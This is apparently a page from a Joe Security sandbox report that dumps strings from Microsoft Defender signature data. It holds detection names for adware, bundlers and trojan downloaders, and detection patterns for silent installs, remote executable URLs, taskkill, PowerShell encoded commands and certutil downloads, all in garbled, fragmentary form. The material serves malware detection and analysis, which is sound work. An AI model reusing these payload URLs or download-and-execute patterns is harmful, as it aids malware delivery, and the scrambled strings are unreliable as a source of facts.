& (x86)\\TData` \\webssearches`  (x86)\\RayDld` & (x86)\\RayDld` \\istartpageing` \\luckysearches` \\mystartsearch` \\yoursearching`  (x86)\\MiuiTab` & (x86)\\MiuiTab`  (x86)\\MiniLite` & (x86)\\MiniLite`  
(x86)\\TDataDld` & (x86)\\TDataDld` \\Corner Sunshine` \\IHProtectUpDate` #\\IHProtectUpDate` &\\Corner Sunshine` \\IePluginServices` #\\IePluginServices` \\WindowsMangerProtect` 
#\\WindowsMangerProtect`  (x86)\\Corner Sunshine] & (x86)\\Corner Sunshine] SoftwareBundler:Win32/Bestof  I-b,g exe.ac_tobm_putes ezitenoma/ogsart moc.sutaicsafsuibocemrym //VERYSILENT 
{tmp}\\inst.exe {tmp}\\inst.exe] !Killav.HI BrowserModifier:Win32/Omniboxes!blnk  $BrowserModifier:Win32/Omniboxes!blnk RPF:IS_CMDEmbedded&SCPT:BrowserModifier:Win32/Omniboxes!blnk 
@<RPF:IS_CMDEmbedded&SCPT:BrowserModifier:Win32/Omniboxes!blnk txjs? BrowserModifier:Win32/WWWSearching!blnk  'BrowserModifier:Win32/WWWSearching!blnk 
RPF:IS_CMDEmbedded&SCPT:BrowserModifier:Win32/WWWSearching!blnk] C?RPF:IS_CMDEmbedded&SCPT:BrowserModifier:Win32/WWWSearching!blnk] SoftwareBundler:Win32/Fourthrem 
SoftwareBundler:Win32/FourthremL@ _mb.exe?mid= 4_mb.exe?mid= .exe?mid= _mb.exe?msapp= 4_mb.exe?msapp= _a11.exe _a11.exe?msapp= _nj.exehttp:// 4_nj.exehttp:// @_nj.exe?msidreq= 
_cr.exehttp:// _bb.exehttp://2ndrequest.me/ 5_bb.exehttp://2ndrequest.me/ @_bb.exe?aleatokenid= _br.exe?dummyid= 6_br.exe?dummyid= _nj.exe?dummyid= _mb.exe?msid= 6_mb.exe?msid= 
.exe?msid= trackpixl.com/010914s/010914i.htmshowwebinpopup6error 7trackpixl.com/010914s/010914i.htmshowwebinpopup6error _mb.exe?idket= 8_mb.exe?idket= .exe?idket= _mb.exe?kitkatid= 
:_mb.exe?kitkatid= _a10.exe _a10.exe?kitkatid= _a11.exe?kitkatid= _mb.exe?tkt= ;_mb.exe?tkt= _mb_1.exe\\ _is.exehttp:// _is.exe?tkt= _mb.exe?msappid= <_mb.exe?msappid= .exe?msappid= -
silence-ptid=pcm\\ ?-silence-ptid=pcm\\ _o.exehttp:// _o.exe? _br.exehttp:// _mb.exe?token= ?_mb.exe?token= @_mb_1.exe\\  _is.exehttp:// _is.exe?token= _mb.exe?asusdelta= @_mb.exe?
asusdelta= .exe?asusdelta= _mb.exe?microsoft= @_mb.exe?microsoft= .exe?microsoft= _mb.exe?jsession= C_mb.exe?jsession= _mb.exe\\ _ie.exe?jsession= _mb.exe?session= C_mb.exe?
session= _is.exe?session= {b853e835-9f24-4f4b-b55c-e554d15cccd2} D{b853e835-9f24-4f4b-b55c-e554d15cccd2} @_ps.exehttp:// @_ps.exe? _mb.exe?chromefdp= F_mb.exe?chromefdp= 
_has.exe\\ _is.exe?chromefdp= _mb.exe?phpsessid= F_mb.exe?phpsessid= _is.exe?phpsessid= _mb.exe?requestcookie= N_mb.exe?requestcookie= _is.exe?requestcookie= _mb.exe?
windowsappinstall= P_mb.exe?windowsappinstall= .exe?windowsappinstall= _mb.exe?essaporranaoehvirus R_mb.exe?essaporranaoehvirus .exe?essaporranaoehvirus _t3.exehttp:// Z_t3.exehttp:// 
@_t3.exe?aleatokenid= _t3.exe/ @key_local_machine\\software\\istartsurf 4threquest.me/ b4threquest.me/ 0_mb.exe?token= 0_is.exehttp://www.4threquest.me/ 0_is.exe?token= e4threquest.me/  
_mb.exe?tkmswintokenrequestxmlhttp= _mb_1.exe @_is.exehttp://www.4threquest.me/ _br.exe s_br.exe @_br.exe?requestid= _nj.exe nullsoftinstallsystemv2.46 _br.exehttp://www. 
u_br.exehttp://www. @_br.exe? 0-9a-z= v_br.exe @_br.exe?aspnetsessid= _br.exehttp://www.4threquest.me/310714d/310714_br.exe? a-z0-9\\ a-z0-
9_nj.exehttp://www.4threquest.me/310714d/291014_nj.exe? a-z0-9\\nsweb.dllhttp://goo.gl/x7a4lcshowwebinpopuptaskkill-f-im a-z0-9_mb_1.exehttp://goo.gl/0ma6okopenhttp://goo.gl/0ma6okerror 
http://myredir.net/K_ [http://myredir.net/K_ http://polifile.co/ 10+http://polifile.co/ .exe?IDket= 84Yts  QW~Yg J0sD\t SCRIPT:SoftwareBundler:Win32/Fourthrem.A-1&
(SCRIPT:SoftwareBundler:Win32/Fourthrem.A-2|SCRIPT:SoftwareBundler:Win32/Fourthrem.A-3)] PUA:Win32/CrawlerToolbar PUA:IRST:Block:CrawlerToolbar 
PUA:Block:CrawlerToolbar&!PUA:Exception +'PUA:Block:CrawlerToolbar&!PUA:Exception PUA:ML:Blocked:CrawlerToolbar&!PUA:Exceptionz 0,PUA:ML:Blocked:CrawlerToolbar&!PUA:Exceptionz 
PUA:Win32/Tugspay PUA:IRST:Block:Tugspay PUA:Block:Tugspay&!PUA:Exception $ PUA:Block:Tugspay&!PUA:Exception PUA:ML:Blocked:Tugspay&!PUA:Exceptionz 
)%PUA:ML:Blocked:Tugspay&!PUA:Exceptionz PUA:Win32/Ogimant PUA:Block:Ogimant&!PUA:Exceptionz $ PUA:Block:Ogimant&!PUA:Exceptionz PUA:Win32/SquareNet 
PUA:Block:SquareNet&!PUA:Exceptionz &\"PUA:Block:SquareNet&!PUA:Exceptionz PUA:Win32/Somoto \t\t]< \t@H` %  #:L$< MpCloudToVDMBloomFilter !#SLF:MpCloudToVDMBloomFilter.A 
F!#SLF:MpCloudToVDMBloomFilter.A !#SLF:MpCloudToVDMBloomFilterPUA.A o\"I!#SLF:MpCloudToVDMBloomFilterPUA.A !#SLF:MpCloudToVDMBloomFilterSlow.A 
q#J!#SLF:MpCloudToVDMBloomFilterSlow.A DCO_MpDisableFriendlySlowCheck 
SOAP:https://wdcp.microsoft.com/WdCpSrvc.asmxSOAP:https://wdcpalt.microsoft.com/WdCpSrvc.asmxREST:https://wdcp.microsoft.com/wdcp.svc/submitReportREST:https://wdcpalt.microsoft.com/w
dcp.svc/submitReportz DCO_OneClickWDODisable DCO_MpClientPoolID 19b3cc206e0b b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 %b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 
enghipscpy:blockexecution:b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 ?enghipscpy:blockexecution:b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 caf67f1f-2ab8-4d6b-9146-52ebe33baeba WIAD org test rule 
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Bi6_#Lowfi:SCPT:Adware:Win32/LiveSoftAction.A Bi6_#Lowfi:SCPT:Adware:Win32/LiveSoftAction.AU/ _#Lowfi:SIGATTR:NSIS:ShellExecuteExError.A 
_#Lowfi:SIGATTR:NSIS:ShellExecuteExError.AU/ _#LowFi:SIGATTR:Program:Win32/CouponMarvel _#LowFi:SIGATTR:Program:Win32/CouponMarvelU/ 
:#LowFi:HSTR:TrojanDownloader:Win32/Adcurl :#LowFi:HSTR:TrojanDownloader:Win32/AdcurlU/ :#Lowfi:SIGATTR:PossibleDelphiDownloader.A :#Lowfi:SIGATTR:PossibleDelphiDownloader.AU/ 
_#Lowfi:SIGATTR:Program:Win32/SpigotExtHlp _#Lowfi:SIGATTR:Program:Win32/SpigotExtHlpU/ Y#PERSIST:PUA:BundlerCluster:InstallCore.A Y#PERSIST:PUA:BundlerCluster:InstallCore.AU0 
_#Tel_SoftwareBundler:Win32/BetterInstaller _#Tel_SoftwareBundler:Win32/BetterInstallerU0 8:#LowFi:SoftwareBundler:Win32/GoFileExpress 8:#LowFi:SoftwareBundler:Win32/GoFileExpressU0 
Y:#LOWFI:HSTR:Program:Win32/Casino_Installer Y:#LOWFI:HSTR:Program:Win32/Casino_InstallerU0 u\\:#LowFi:SoftwareBundler:Win32/GoFileExpress 
u\\:#LowFi:SoftwareBundler:Win32/GoFileExpressU0 ]_#Tel_SoftwareBundler:Win32/BetterInstaller ]_#Tel_SoftwareBundler:Win32/BetterInstallerU0 
:#LOWFI:SIGATTR:Adware:Win32/ElexTechYac.A1 :#LOWFI:SIGATTR:Adware:Win32/ElexTechYac.A1U0 :#LowFi:SoftwareBundler:Win32/GoFileExpress 
:#LowFi:SoftwareBundler:Win32/GoFileExpressU0 _#Tel_SoftwareBundler:Win32/AstoriInstaller _#Tel_SoftwareBundler:Win32/AstoriInstallerU0 :#LowFi:SoftwareBundler:Win32/DownloadAdmin 
:#LowFi:SoftwareBundler:Win32/DownloadAdminU1  :#Lowfi:AGGR:Program:Win32/NSISChecksFiddler  :#Lowfi:AGGR:Program:Win32/NSISChecksFiddlerU1 
):#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A1 ):#LOWFI:SCPT:Program:Win32/CodecPlayerRKR.A1U1V6 >_#Lowfi:HSTR:BrowserModifier:ConsentBypass.A 
>_#Lowfi:HSTR:BrowserModifier:ConsentBypass.AU18 F_#LowFi:SIGATTR:Program:Win32/SaveDailyDeals F_#LowFi:SIGATTR:Program:Win32/SaveDailyDealsU1 
J:#LOWFI:HSTR:Adware:Win32/ElexTechYacNSIS.A1 J:#LOWFI:HSTR:Adware:Win32/ElexTechYacNSIS.A1U1 W:#LOWFI:AGGR:Program:Win32/CodecPlayerRKR.A0 
eycq_#Lowfi:SCPT:Adware:Win32/SupSearchProtect.A W:#LOWFI:AGGR:Program:Win32/CodecPlayerRKR.A0U1eycq_#Lowfi:SCPT:Adware:Win32/SupSearchProtect.AU1` 
:#LUA:ContextualChangeFileTypeSensor.A!actor :#LUA:ContextualChangeFileTypeSensor.A!actorU1 Y#Persist:HSTR:TrojanDownloader:Win32/Adcurl 
Y#Persist:HSTR:TrojanDownloader:Win32/AdcurlU1. :#LOWFI:HSTR:Adware:Win32/ElexTechYacNSIS.A2 :#LOWFI:HSTR:Adware:Win32/ElexTechYacNSIS.A2U1 
_#LOWFI:Lua:ContextualDropFileSkypeExtScript _#LOWFI:Lua:ContextualDropFileSkypeExtScriptU2 :#Lowfi:CERT:BrowserModifier:Win32/Diplugem.G 
:#Lowfi:CERT:BrowserModifier:Win32/Diplugem.GU2 :#Lowfi:CERT:BrowserModifier:Win32/Diplugem.C :#Lowfi:CERT:BrowserModifier:Win32/Diplugem.CU2 
:#Behavior:Win32/MultiDriveChangeFileSensor.A :#Behavior:Win32/MultiDriveChangeFileSensor.AU2M _#Lowfi:Program:Win32/SpigotBrowserExtensions 
_#Lowfi:Program:Win32/SpigotBrowserExtensionsU2  :#LowFi:HSTR:TrojanDownloader:Win32/AdStatp.A  :#LowFi:HSTR:TrojanDownloader:Win32/AdStatp.AU2 
:#LOWFI:SCPT:BrowserModifier:Win32/Sijetso.A2 :#LOWFI:SCPT:BrowserModifier:Win32/Sijetso.A2U2 :#LUA:ContextualChangeFileTypeSensor.A!target 
:#LUA:ContextualChangeFileTypeSensor.A!targetU2 ':#Lowfi:Lua:SuspiciousExeFileInLocalAppdata.A ':#Lowfi:Lua:SuspiciousExeFileInLocalAppdata.AU2 
*:#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.H *:#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.HU2 -_#Lowfi:HSTR:Trojan:Win32/PossibleMultiBanker -
_#Lowfi:HSTR:Trojan:Win32/PossibleMultiBankerU2b] 9:#Behavior:Win32/MultiDriveDeleteFileSensor.A 9:#Behavior:Win32/MultiDriveDeleteFileSensor.AU2 Copyright Joe Security LLC 2021 Page 55 of 181



_#Lowfi:HSTR:Trojan:Win32/PossibleMultiBankerU2b] 9:#Behavior:Win32/MultiDriveDeleteFileSensor.A 9:#Behavior:Win32/MultiDriveDeleteFileSensor.AU2 
W:#LOWFI:HSTR:Program:Win32/AstromendaSearch.A W:#LOWFI:HSTR:Program:Win32/AstromendaSearch.AU2 t:#Lowfi:CERT:BrowserModifier:Win32/Diplugem.F 
t:#Lowfi:CERT:BrowserModifier:Win32/Diplugem.FU2o :#LOWFI:SCPT:BrowserModifier:Win32/Sijetso.A1 :#LOWFI:SCPT:BrowserModifier:Win32/Sijetso.A1U2 
:#Behavior:Win32/MultiDriveCreateFileSensor.A :#Behavior:Win32/MultiDriveCreateFileSensor.AU2h :#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.G 
:#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.GU2 :#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.F :#Lowfi:HSTR:BrowserModifier:Win32/Diplugem.FU2 
:#Behavior:Win32/MultiDriveRenameFileSensor.A :#Behavior:Win32/MultiDriveRenameFileSensor.AU3 r7Q:#LowFi:HSTR:TrojanDownloader:Win32/FakeIE!dll 
r7Q:#LowFi:HSTR:TrojanDownloader:Win32/FakeIE!dllU3;Z _#Lowfi:MissingWatsonFileTelemetryExperimental _#Lowfi:MissingWatsonFileTelemetryExperimentalU3\" 
:#LOWFI:HSTR:MSIL/Obfuscator.Eazfuscator.NET.A :#LOWFI:HSTR:MSIL/Obfuscator.Eazfuscator.NET.AU4 Y#PERSIST:CERT:BrowserModifier:Win32/Diplugem.G 
Y#PERSIST:CERT:BrowserModifier:Win32/Diplugem.GU4 Y#PERSIST:CERT:BrowserModifier:Win32/Diplugem.C Y#PERSIST:CERT:BrowserModifier:Win32/Diplugem.CU4  
Y#Persist:HSTR:TrojanDownloader:Win32/AdStatp.A  Y#Persist:HSTR:TrojanDownloader:Win32/AdStatp.AU4 _#Lowfi:Program:Win32/DesktopTemperatureMonitor 
_#Lowfi:Program:Win32/DesktopTemperatureMonitorU4_ :#Lowfi:Lua:SuspiciousStackedExtensionsSensor.B :#Lowfi:Lua:SuspiciousStackedExtensionsSensor.BU4_ 
N#Lowfi:Lua:SuspiciousStackedExtensionsSensor.B N#Lowfi:Lua:SuspiciousStackedExtensionsSensor.BU4 *Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.H 
*Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.HU4  *_#LowFi:HSTR:VirTool:Win32/Obfuscator!AddLyrics *_#LowFi:HSTR:VirTool:Win32/Obfuscator!AddLyricsU4 
,jF:#Lowfi:HSTR:MSIL/Obfuscator.CryptoObfuscator.B ,jF:#Lowfi:HSTR:MSIL/Obfuscator.CryptoObfuscator.BU4 tY#PERSIST:CERT:BrowserModifier:Win32/Diplugem.F 
tY#PERSIST:CERT:BrowserModifier:Win32/Diplugem.FU4 :#Lowfi:Lua:SuspiciousStackedExtensionsSensor.A :#Lowfi:Lua:SuspiciousStackedExtensionsSensor.AU4h 
Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.G Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.GU4 Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.F 
Y#PERSIST:HSTR:BrowserModifier:Win32/Diplugem.FU4qT[ :#LOWFI:SIGATTR:Adware:Win32/ElexTechYacNSIS.A1 :#LOWFI:SIGATTR:Adware:Win32/ElexTechYacNSIS.A1U44 
:#Lowfi:AGGR:Program:Win32/NSISChecksDeepFreeze :#Lowfi:AGGR:Program:Win32/NSISChecksDeepFreezeU5 :#Lowfi:SIGATTR:BrowserModifier:Win32/Diplugem.A 
:#Lowfi:SIGATTR:BrowserModifier:Win32/Diplugem.AU5Q _#LOWFI:Lua:ContextualDropFileSkypeDefaultScript _#LOWFI:Lua:ContextualDropFileSkypeDefaultScriptU5 
$:#Lowfi:Lua:SuspiciousExeFileInLocalLowAppdata.A ,$:#Lowfi:Lua:SuspiciousExeFileInLocalLowAppdata.AU5 r7QY#Persist:HSTR:TrojanDownloader:Win32/FakeIE!dll 
r7QY#Persist:HSTR:TrojanDownloader:Win32/FakeIE!dllU5' :#Lowfi:FOPEX:BrowserModifier:Win32/Prifou.A!upd :#Lowfi:FOPEX:BrowserModifier:Win32/Prifou.A!updU6_ 
Y#PERSIST:Lua:SuspiciousStackedExtensionsSensor.B Y#PERSIST:Lua:SuspiciousStackedExtensionsSensor.BU6 -P:#LOWFI:HSTR:Websites_Found_Download_Bladabindi_A -
P:#LOWFI:HSTR:Websites_Found_Download_Bladabindi_AU6 Y#PERSIST:Lua:SuspiciousStackedExtensionsSensor.A Y#PERSIST:Lua:SuspiciousStackedExtensionsSensor.AU6 
:#LOWFI:HSTR:SoftwareBundler:Win32/OfferInstaller :#LOWFI:HSTR:SoftwareBundler:Win32/OfferInstallerU7 Y#PERSIST:SIGATTR:BrowserModifier:Win32/Diplugem.A 
Y#PERSIST:SIGATTR:BrowserModifier:Win32/Diplugem.AU7 :#Lowfi:PEBMPAT:BrowserModifier:Win32/Prifou.A!upd :#Lowfi:PEBMPAT:BrowserModifier:Win32/Prifou.A!updU7 
:#LowFi:HSTR:Adware:Win32/Couponarific!Uninstaller :#LowFi:HSTR:Adware:Win32/Couponarific!UninstallerU7f :#Lowfi:PEBMPAT:BrowserModifier:Win32/Prifou.B!upd 
:#Lowfi:PEBMPAT:BrowserModifier:Win32/Prifou.B!updU8 :#LOWFI:HSTR:SoftwareBundler:Win32/OgimantMailRU.A1 :#LOWFI:HSTR:SoftwareBundler:Win32/OgimantMailRU.A1U8 
:#LOWFI:SCPT:Program:Win32/SuperFishz.A1-CrossRider :#LOWFI:SCPT:Program:Win32/SuperFishz.A1-CrossRiderU8yi F_#Tel_BrowserModifier:Win32/PerionSearchProtectVC32 
F_#Tel_BrowserModifier:Win32/PerionSearchProtectVC32U8dv :#LOWFI:SCPT:Program:Win32/SuperFishz.A2-CrossRider :#LOWFI:SCPT:Program:Win32/SuperFishz.A2-CrossRiderU8 
_#LOWFI:Lua:ContextualDropFileLyncExtNotcategorized _#LOWFI:Lua:ContextualDropFileLyncExtNotcategorizedU8\t8 _#Tel_BrowserModifier:Win32/PerionSearchProtectVC64 
_#Tel_BrowserModifier:Win32/PerionSearchProtectVC64U9H $<_#LOWFI:Lua:ContextualDropFileYahooExtNotcategorized $<_#LOWFI:Lua:ContextualDropFileYahooExtNotcategorizedU9}n 
u_#LOWFI:Lua:ContextualDropFileSkypeExtNotcategorized u_#LOWFI:Lua:ContextualDropFileSkypeExtNotcategorizedU9l :#LOWFI:SIGATTR:Program:Win32/CrossRiderRandomExt.A1 
:#LOWFI:SIGATTR:Program:Win32/CrossRiderRandomExt.A1U; Jk:#LOWFI:HSTR:TrojanDownloader:Win32/VitalliaUpd4ter.A1 Jk:#LOWFI:HSTR:TrojanDownloader:Win32/VitalliaUpd4ter.A1U;A0@ 
_#LOWFI:Lua:ContextualDropFileOutlookExtNotcategorized _#LOWFI:Lua:ContextualDropFileOutlookExtNotcategorizedU<z  :#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A3  
:#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A3U< W:#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A2 
W:#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A2U<h a_#LOWFI:Lua:ContextualDropFileLyncDefaultNotcategorized a_#LOWFI:Lua:ContextualDropFileLyncDefaultNotcategorizedU<V 
:#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A1 :#LOWFI:HSTR:SoftwareBundler:Win32/IBryteDownloaderz.A1U=^q _#LOWFI:Lua:ContextualDropFileYahooDefaultNotcategorized 
_#LOWFI:Lua:ContextualDropFileYahooDefaultNotcategorizedU=k nP_#LOWFI:Lua:ContextualDropFileSkypeDefaultNotcategorized 
nP_#LOWFI:Lua:ContextualDropFileSkypeDefaultNotcategorizedU? _#LOWFI:Lua:ContextualDropFileOutlookDefaultNotcategorized 
_#LOWFI:Lua:ContextualDropFileOutlookDefaultNotcategorizedU@H @:#LOWFI:HSTR:Program:Win32/DllSecurityEvader_NotInstallMate 
@:#LOWFI:HSTR:Program:Win32/DllSecurityEvader_NotInstallMateUC :#LOWFI:SIGATTR:TrojanDownloader:Win32/CrossRiderCinemaxYou.A1 
:#LOWFI:SIGATTR:TrojanDownloader:Win32/CrossRiderCinemaxYou.A1[  DCO_MpBmDisableHardLink DCO_MpHeartbeatControlGroup DCO_MpValidateCacheEntries 
DCO_MpMapsHeartbeatDelay !#TELPER:Win32/PCKeeper $PCKeeper Antivirusl> !#ALFPER:ML:Staged:AutoKMSl> tQrx$5 !#ALFPER:ML:Staged:AutoKMSl? !#TELPER:Cert:Win32/DealPlyl? 
!#TELPER:Cert:Win32/CCSetupxA !#ALFPER:HSTR:Win32/BlackMoon BlackMoon RunTime Error BlackMoon RunTime ErrorxF !#BrowserModifier:Win32/IOBit LIObit_ 0utHomepageForSet 
0utHomepageForSetxL !#TELPER:PossibleBrowserCertsModifier CertsFF.dat CertsOP.dat CertsOP.datxM !#TELPER:Crossrider_Updater crupdatedownloader /runupdater /runupdaterxQ 
!#TELPER:Crossrider_FFInstaller crfirefoxinstaller FirefoxUtils FirefoxUtilsxS !#TELPER:Crossrider_ChromeInstaller crchromeinstaller ChromeUtils ChromeUtilsxU 
!#TEL:Program:Win32/CouponServer Coupon Server CrossRider CrossRiderxg !#TELPER:LuckyBrowse:Main api.lucky-browse.com/tasks.php?action= LuckyBrowse\\install.dat 
LuckyBrowse\\install.datxv !#TEL:KlipPalCby:BHO //api  -a.akamaihd.net/gics2 IEClientModule !#TELPER:HSTR:Program:Win32/Orbitum Orbitum Installer/1.0 orbitum.com/xv 
!#TELPER:Crossrider:CodeDldr crcodedownloader UninstallerOfferUrl ie-code-downloader-error.gif ie-code-downloader-error.gifxx !#HSTR:BrowserModifier:Win32/GoogleToolbarNotifierSWG64 
AVProtectorBho@@ SearchWithGooglex !#TEL:HSTR:Program:Win32/Dexon \\W95ws2setup.exe \\Agent.exe /Send Agent.exe dat\\Dexon\\Agent PCUID_countdown \\W95ws2setup.exe\\Agent.exe 
/SendAgent.exedat\\Dexon\\AgentPCUID_countdownx !#TELPER:DealFinder_Crossrider \\DealFinder by Savings.com-BrowserExtensionUninstall crossrideragentinstallation 
crossrideragentinstallationx !#HSTR:BrowserModifier:Win32/GoogleToolbarNotifierSWG branches\\protector_release_branch\\ protector\\build\\opt\\obj\\swg protector\\build\\opt\\obj\\swgx 
!#TELPER:HSTR:Bundler:Win32/PCMega CONTAPRIME /SELECT /IE /FIREFOX /S /OPTIMIZE /PARTNER=vn /CHANNEL=pcdealply panel_deal panel_dealx !#TELPER:Program:Win32/CustPromo 
?AUICustomerPromosBHO@@ customerpromos-a.akamaihd.net/CustomerPromox !#TELPER:HSTR:Program:Win32/Yandex vkontakte-dj-elements get_dlg_yandex_setup_bg YABROWSER 
YELEMENTS !#TELPER:HSTR:Program:Win32/LuckyBrowse mainBinaryRelativePath\":\" \\\\luckybrowse.exe isAddToFirewall\":true mainBinaryAutoRunExecuteCommandLine 
mainBinaryAutoRunExecuteCommandLinex !#TELPER:HSTR:ChromePluginBypass.B SOFTWARE\\Google\\Update\\ClientState\\{ 2.0-dev-multi-chrome }ap2.0-dev-multi-chrome \\Preferences 
\\Preferences-install !#TELPER:Program:Win32/DownloadSponsor set_MyDMRConnection /uac.php?clientid= &cid= &source &setupid= !#TEL:HSTR:Win32/CountInstall HasCountInstallation 
/sethao123homepage /CoolMyMusic /AgencyID /oldversionagentidx !#TELPER:HSTR:Win32/PriceFountain Software\\PriceFountain dll-file-nameprfo.dllbrowser-identifier-ie PriceFountain.netx 
!#TELPER:CrossriderFramework \\Crossrider Installation failed \\CrossriderInstallation failed crossinstaller err_os_not_supported :yet_another_secret err_extrating_ie_enabler Unmixing 
err_extrating_ie_enablerUnmixingx !#TEL:Exploit:Win64/DcompBSOD NtDCompositionCreateConnection NtDCompositionDestroyConnection NtDCompositionGetConnectionBatch 
NtDCompositionBeginFrame NtDCompositionDiscardFrame NtDCompositionConfirmFrame NtDCompositionReleaseAllResources NtDCompositionSuspendAnimations 
NtDCompositionSuspendAnimations~8 M!#TELPER:NID:Program:Win32/Orbitum !#TEL:HSTR:TrojanDownloader:O97M/Adnel .thisdocument   .readystate .open .status .write 
!#TEL:AGGR:SchdTaskCmdLineArtifactLua:SchdTaskCmdLineArtifact !#AGGR:JCM_Vampa_GE50AGGR:CombinedJavaClass&Lua:JCM_Vampa:GE50 
)!#AGGR:JCM_Vampa_GE50AGGR:CombinedJavaClass&Lua:JCM_Vampa:GE50 !#TEL:AGGR:ESEQ_1.BSCPT:EXPSEQ_1.A|SCPT:EXPSEQ_1.B|SCPT:EXPSEQ_1.C 
/!#TEL:AGGR:ESEQ_1.BSCPT:EXPSEQ_1.A|SCPT:EXPSEQ_1.B|SCPT:EXPSEQ_1.C 
!#TEL:DOC/EmbeddedHttpWebvideoInEmail&SCPT:DOC/EmbeddedHttpWebvideo&AGGR:OfficeFile_WordExt 
=!#TEL:DOC/EmbeddedHttpWebvideoInEmail&SCPT:DOC/EmbeddedHttpWebvideo&AGGR:OfficeFile_WordExt !#TEL:VB/KernelCallViaOrdinalSCPT:VBS/KernelCallViaOrdinal&
(SCPT:VBSInside|MHSTR:MacroInside) @!#TEL:VB/KernelCallViaOrdinalSCPT:VBS/KernelCallViaOrdinal&(SCPT:VBSInside|MHSTR:MacroInside) 
!#TEL:HackTool:Win32/Keygen.GLua:ContextFromWebmail&SuspiciousNFOfilename&SuspiciousKEYGENfilename 
E!#TEL:HackTool:Win32/Keygen.GLua:ContextFromWebmail&SuspiciousNFOfilename&SuspiciousKEYGENfilename 
!#TEL:TrojanDownloader:JS/Nemucod.TSGLua:ContextFromWebmail&SCPT:Nemucod_eval&LUA:DoubleDotWsfExtension 
k%B!#TEL:TrojanDownloader:JS/Nemucod.TSGLua:ContextFromWebmail&SCPT:Nemucod_eval&LUA:DoubleDotWsfExtension 
!#TEL:TrojanDownloader:JS/Nemucod.ACGLua:ContextFromWebmail&!SCPT:Nemucod_exclusion&Lua:JSExt&TARG:TrojanDownloader:JS/Nemucod 
%Y!#TEL:TrojanDownloader:JS/Nemucod.ACGLua:ContextFromWebmail&!SCPT:Nemucod_exclusion&Lua:JSExt&TARG:TrojanDownloader:JS/Nemucod 
!#ALF:SinglePagePDFInEmailInEmail&BM_PDF_FILE&LUA:FileSizeLE80000.A&SCPT:PDF.OnlyOnePage&SCPT:PDF.HasImage&SCRIPT:PDF/Has_Link_URI 
h!#ALF:SinglePagePDFInEmailInEmail&BM_PDF_FILE&LUA:FileSizeLE80000.A&SCPT:PDF.OnlyOnePage&SCPT:PDF.HasImage&SCRIPT:PDF/Has_Link_URI 
!#TEL:TrojanDownloader:JS/Nemucod.ACBL %]!#TEL:TrojanDownloader:JS/Nemucod.ACBL RunsDestructiveCMDsParent 8db3102b84dd  209d7fcfa7edf   ReportInternalDetection 
TYPE_ASYNC_LOWFI edb3e9ab3ed5 \\msert.exe %%common_appdata%% \\ProgramData  GetCommandLineFromService  !#Lua:LessThanTenFilesFoldersInZip   
//Lua:MoreThan100FilesFoldersInZip #//Lua:MoreThan100FilesFoldersInZip //Lua:LessThanTenFilesFoldersInZip #//Lua:LessThanTenFilesFoldersInZip 169b3cfa87a96 
\\msexchangemailboxreplication.exe \"\\msexchangemailboxreplication.exe \\msexchangedelivery.exe \\msexchangemailboxreplicationworker.exe (\\msexchangemailboxreplicationworker.exe  
!#LUA:PowerShellEncodedCommand !#LUA:PowerShellEncodedCommandObMpAttributes encodedcommand ([%w/+=]+) FromEncodedCommand [PSEncodedCommand] %:%:FromBase64String%
(%' [PSBase64String] 5f58cb6c155a1 \\data\\exploits\\ metasploit mtk-su cve-20 supersu strace ctssecurity !#Lua:NtdsCleanWriters !#Lua:NtdsCleanWritersObMpAttributes 
tdb|edb|mdb|dat|ore|pds|sdb|bim|vol|asf|adb|tmp 0tdb|edb|mdb|dat|ore|pds|sdb|bim|vol|asf|adb|tmp 
catdb|mail.msmessagestore|dhcp.mdb|webcachev01.dat|cachestorage.edb|windowsmail.msmessagestore|defaultstore|actorstatestore|persiststore.edb|imosstore|fs.edb|rm.edb|upgradeservicestore|ser
verservice.edb|masterservice.edb|6260B5C4| \\webcache\\ \\system32\\logfiles windows\\cryptoguard !#Lua:Virus:Win32/Nabucur   epsec_not_executable no_imports_dir no_iat 
LoD:Virus:Win32/Nabucur.B LoD:Virus:Win32/Nabucur.C !#Lua:ContextualDropOfficeTmpExe.B   Lua:ContextualDropOfficeTmpExe.B !Lua:ContextualDropOfficeTmpExe.B 
!#Lua:Context/RightToLeftOverride.gen!D Lua:Context/RightToLeftOverride.DA #Lua:Context/RightToLeftOverride.DA Lua:Context/RightToLeftOverride.DB #Lua:Context/RightToLeftOverride.DB 
Lua:Context/RightToLeftOverride.DC #Lua:Context/RightToLeftOverride.DC Lua:Context/RightToLeftOverride.DD #Lua:Context/RightToLeftOverride.DD !#Lua:ContextualDropOfficeTmpExe.A   
:\\program files\\microsoft office !:\\program files\\microsoft office Lua:ContextualDropOfficeTmpExe.A !Lua:ContextualDropOfficeTmpExe.A 3540b5ded5b2 IsResponse GetRawResponseBlob 
GetRawRequestBlob SMB(....)[ ]...(....) readu32 !#LUA:PayloadTempDropFile payload.exe !#Lua:DropSuspiciousNonPEFiles Lua:LNKdroppedByProcess Lua:JSdroppedByProcess 
Lua:VBSdroppedByProcess Lua:COMdroppedByProcess Lua:PSdroppedByProcess d6b37b4917a7 d6b37b4917a7IncludesBMLuaLib -encode  \t-encode  -decode  \t-decode  -urlcache  takari 
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regulatory  !#Lua:TokenRelevanceMetric.A !#Lua:TokenRelevanceMetric.AObMpAttributes \\scans\\ Lua:FileNameTokenRelevanceMetric.A #Lua:FileNameTokenRelevanceMetric.A !#TEL:DefenderTa 
